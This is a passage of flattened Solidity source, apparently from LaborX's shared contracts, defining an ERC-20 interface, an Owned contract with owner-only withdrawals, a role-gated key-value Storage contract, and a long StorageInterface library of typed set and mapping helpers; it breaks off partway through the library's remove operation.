// File: @laborx/solidity-shared-contracts/contracts/ERC20Interface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Defines an interface for EIP20 token smart contract contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function decimals() public view returns (uint8); function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } // File: @laborx/solidity-shared-contracts/contracts/Owned.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Owned contract with safe ownership pass. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract Owned { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public contractOwner; address public pendingContractOwner; modifier onlyContractOwner { if (msg.sender == contractOwner) { _; } } constructor() public { contractOwner = msg.sender; } /// @notice Prepares ownership pass. /// Can only be called by current owner. /// @param _to address of the next owner. /// @return success. function changeContractOwnership(address _to) public onlyContractOwner returns (bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /// @notice Finalize ownership pass. /// Can only be called by pending owner. /// @return success. function claimContractOwnership() public returns (bool) { if (msg.sender != pendingContractOwner) { return false; } emit OwnershipTransferred(contractOwner, pendingContractOwner); contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) public onlyContractOwner returns (bool) { if (newOwner == 0x0) { return false; } emit OwnershipTransferred(contractOwner, newOwner); contractOwner = newOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @dev Backward compatibility only. /// @param newOwner The address to transfer ownership to. function transferContractOwnership(address newOwner) public returns (bool) { return transferOwnership(newOwner); } /// @notice Withdraw given tokens from contract to owner. /// This method is only allowed for contact owner. function withdrawTokens(address[] tokens) public onlyContractOwner { address _contractOwner = contractOwner; for (uint i = 0; i < tokens.length; i++) { ERC20Interface token = ERC20Interface(tokens[i]); uint balance = token.balanceOf(this); if (balance > 0) { token.transfer(_contractOwner, balance); } } } /// @notice Withdraw ether from contract to owner. /// This method is only allowed for contact owner. function withdrawEther() public onlyContractOwner { uint balance = address(this).balance; if (balance > 0) { contractOwner.transfer(balance); } } /// @notice Transfers ether to another address. /// Allowed only for contract owners. /// @param _to recepient address /// @param _value wei to transfer; must be less or equal to total balance on the contract function transferEther(address _to, uint256 _value) public onlyContractOwner { require(_to != 0x0, "INVALID_ETHER_RECEPIENT_ADDRESS"); if (_value > address(this).balance) { revert("INVALID_VALUE_TO_TRANSFER_ETHER"); } _to.transfer(_value); } } // File: @laborx/solidity-storage-contracts/contracts/Storage.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract Manager { function isAllowed(address _actor, bytes32 _role) public view returns (bool); function hasAccess(address _actor) public view returns (bool); } contract Storage is Owned { struct Crate { mapping(bytes32 => uint) uints; mapping(bytes32 => address) addresses; mapping(bytes32 => bool) bools; mapping(bytes32 => int) ints; mapping(bytes32 => uint8) uint8s; mapping(bytes32 => bytes32) bytes32s; mapping(bytes32 => AddressUInt8) addressUInt8s; mapping(bytes32 => string) strings; mapping(bytes32 => bytes) bytesSequences; } struct AddressUInt8 { address _address; uint8 _uint8; } mapping(bytes32 => Crate) internal crates; Manager public manager; modifier onlyAllowed(bytes32 _role) { if (!(msg.sender == address(this) || manager.isAllowed(msg.sender, _role))) { revert("STORAGE_FAILED_TO_ACCESS_PROTECTED_FUNCTION"); } _; } function setManager(Manager _manager) external onlyContractOwner returns (bool) { manager = _manager; return true; } function setUInt(bytes32 _crate, bytes32 _key, uint _value) public onlyAllowed(_crate) { _setUInt(_crate, _key, _value); } function _setUInt(bytes32 _crate, bytes32 _key, uint _value) internal { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) public view returns (uint) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) public onlyAllowed(_crate) { _setAddress(_crate, _key, _value); } function _setAddress(bytes32 _crate, bytes32 _key, address _value) internal { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) public view returns (address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) public onlyAllowed(_crate) { _setBool(_crate, _key, _value); } function _setBool(bytes32 _crate, bytes32 _key, bool _value) internal { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 _key) public view returns (bool) { return crates[_crate].bools[_key]; } function setInt(bytes32 _crate, bytes32 _key, int _value) public onlyAllowed(_crate) { _setInt(_crate, _key, _value); } function _setInt(bytes32 _crate, bytes32 _key, int _value) internal { crates[_crate].ints[_key] = _value; } function getInt(bytes32 _crate, bytes32 _key) public view returns (int) { return crates[_crate].ints[_key]; } function setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) public onlyAllowed(_crate) { _setUInt8(_crate, _key, _value); } function _setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) internal { crates[_crate].uint8s[_key] = _value; } function getUInt8(bytes32 _crate, bytes32 _key) public view returns (uint8) { return crates[_crate].uint8s[_key]; } function setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) public onlyAllowed(_crate) { _setBytes32(_crate, _key, _value); } function _setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) internal { crates[_crate].bytes32s[_key] = _value; } function getBytes32(bytes32 _crate, bytes32 _key) public view returns (bytes32) { return crates[_crate].bytes32s[_key]; } function setAddressUInt8( bytes32 _crate, bytes32 _key, address _value, uint8 _value2 ) public onlyAllowed(_crate) { _setAddressUInt8(_crate, _key, _value, _value2); } function _setAddressUInt8( bytes32 _crate, bytes32 _key, address _value, uint8 _value2 ) internal { crates[_crate].addressUInt8s[_key] = AddressUInt8(_value, _value2); } function getAddressUInt8(bytes32 _crate, bytes32 _key) public view returns (address, uint8) { return (crates[_crate].addressUInt8s[_key]._address, crates[_crate].addressUInt8s[_key]._uint8); } function setString(bytes32 _crate, bytes32 _key, string _value) public onlyAllowed(_crate) { _setString(_crate, _key, _value); } function _setString(bytes32 _crate, bytes32 _key, string _value) internal { crates[_crate].strings[_key] = _value; } function getString(bytes32 _crate, bytes32 _key) public view returns (string) { return crates[_crate].strings[_key]; } function setBytesSequence(bytes32 _crate, bytes32 _key, bytes _value) public onlyAllowed(_crate) { _setBytesSequence(_crate, _key, _value); } function _setBytesSequence(bytes32 _crate, bytes32 _key, bytes _value) internal { crates[_crate].bytesSequences[_key] = _value; } function getBytesSequence(bytes32 _crate, bytes32 _key) public view returns (bytes) { return crates[_crate].bytesSequences[_key]; } } // File: @laborx/solidity-storage-contracts/contracts/StorageInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; library StorageInterface { struct Config { Storage store; bytes32 crate; } struct UInt { bytes32 id; } struct UInt8 { bytes32 id; } struct Int { bytes32 id; } struct Address { bytes32 id; } struct Bool { bytes32 id; } struct Bytes32 { bytes32 id; } struct String { bytes32 id; } struct BytesSequence { bytes32 id; } struct Mapping { bytes32 id; } struct StringMapping { String id; } struct BytesSequenceMapping { BytesSequence id; } struct UIntBoolMapping { Bool innerMapping; } struct UIntUIntMapping { Mapping innerMapping; } struct UIntBytes32Mapping { Mapping innerMapping; } struct UIntAddressMapping { Mapping innerMapping; } struct UIntEnumMapping { Mapping innerMapping; } struct AddressBoolMapping { Mapping innerMapping; } struct AddressUInt8Mapping { bytes32 id; } struct AddressUIntMapping { Mapping innerMapping; } struct AddressBytes32Mapping { Mapping innerMapping; } struct AddressAddressMapping { Mapping innerMapping; } struct Bytes32UIntMapping { Mapping innerMapping; } struct Bytes32UInt8Mapping { UInt8 innerMapping; } struct Bytes32BoolMapping { Bool innerMapping; } struct Bytes32Bytes32Mapping { Mapping innerMapping; } struct Bytes32AddressMapping { Mapping innerMapping; } struct Bytes32UIntBoolMapping { Bool innerMapping; } struct AddressAddressUInt8Mapping { Mapping innerMapping; } struct AddressAddressUIntMapping { Mapping innerMapping; } struct AddressUIntUIntMapping { Mapping innerMapping; } struct AddressUIntUInt8Mapping { Mapping innerMapping; } struct AddressBytes32Bytes32Mapping { Mapping innerMapping; } struct AddressBytes4BoolMapping { Mapping innerMapping; } struct AddressBytes4Bytes32Mapping { Mapping innerMapping; } struct UIntAddressUIntMapping { Mapping innerMapping; } struct UIntAddressAddressMapping { Mapping innerMapping; } struct UIntAddressBoolMapping { Mapping innerMapping; } struct UIntUIntAddressMapping { Mapping innerMapping; } struct UIntUIntBytes32Mapping { Mapping innerMapping; } struct UIntUIntUIntMapping { Mapping innerMapping; } struct Bytes32UIntUIntMapping { Mapping innerMapping; } struct AddressUIntUIntUIntMapping { Mapping innerMapping; } struct AddressUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct UIntAddressAddressBoolMapping { Bool innerMapping; } struct UIntUIntUIntBytes32Mapping { Mapping innerMapping; } struct Bytes32UIntUIntUIntMapping { Mapping innerMapping; } bytes32 constant SET_IDENTIFIER = "set"; struct Set { UInt count; Mapping indexes; Mapping values; } struct AddressesSet { Set innerSet; } struct CounterSet { Set innerSet; } bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; struct OrderedSet { UInt count; Bytes32 first; Bytes32 last; Mapping nextValues; Mapping previousValues; } struct OrderedUIntSet { OrderedSet innerSet; } struct OrderedAddressesSet { OrderedSet innerSet; } struct Bytes32SetMapping { Set innerMapping; } struct AddressesSetMapping { Bytes32SetMapping innerMapping; } struct UIntSetMapping { Bytes32SetMapping innerMapping; } struct Bytes32OrderedSetMapping { OrderedSet innerMapping; } struct UIntOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } struct AddressOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } // Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert(); } } function init(Config storage self, Storage _store, bytes32 _crate) internal { self.store = _store; self.crate = _crate; } function init(UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(BytesSequence storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(BytesSequenceMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(Config storage self, UInt storage item, uint _value) internal { self.store.setUInt(self.crate, item.id, _value); } function set(Config storage self, UInt storage item, bytes32 _salt, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, UInt8 storage item, uint8 _value) internal { self.store.setUInt8(self.crate, item.id, _value); } function set(Config storage self, UInt8 storage item, bytes32 _salt, uint8 _value) internal { self.store.setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Int storage item, int _value) internal { self.store.setInt(self.crate, item.id, _value); } function set(Config storage self, Int storage item, bytes32 _salt, int _value) internal { self.store.setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Address storage item, address _value) internal { self.store.setAddress(self.crate, item.id, _value); } function set(Config storage self, Address storage item, bytes32 _salt, address _value) internal { self.store.setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bool storage item, bool _value) internal { self.store.setBool(self.crate, item.id, _value); } function set(Config storage self, Bool storage item, bytes32 _salt, bool _value) internal { self.store.setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bytes32 storage item, bytes32 _value) internal { self.store.setBytes32(self.crate, item.id, _value); } function set(Config storage self, Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, String storage item, string _value) internal { self.store.setString(self.crate, item.id, _value); } function set(Config storage self, String storage item, bytes32 _salt, string _value) internal { self.store.setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, BytesSequence storage item, bytes _value) internal { self.store.setBytesSequence(self.crate, item.id, _value); } function set(Config storage self, BytesSequence storage item, bytes32 _salt, bytes _value) internal { self.store.setBytesSequence(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Mapping storage item, uint _key, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, BytesSequenceMapping storage item, bytes32 _key, bytes _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { self.store.setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(Config storage self, AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(Config storage self, Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(Config storage self, AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(Config storage self, OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(Config storage self, Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(Config storage self, Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(Config storage self, AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(Config storage self, Set storage item, bytes32 _value) internal { remove(self, item, 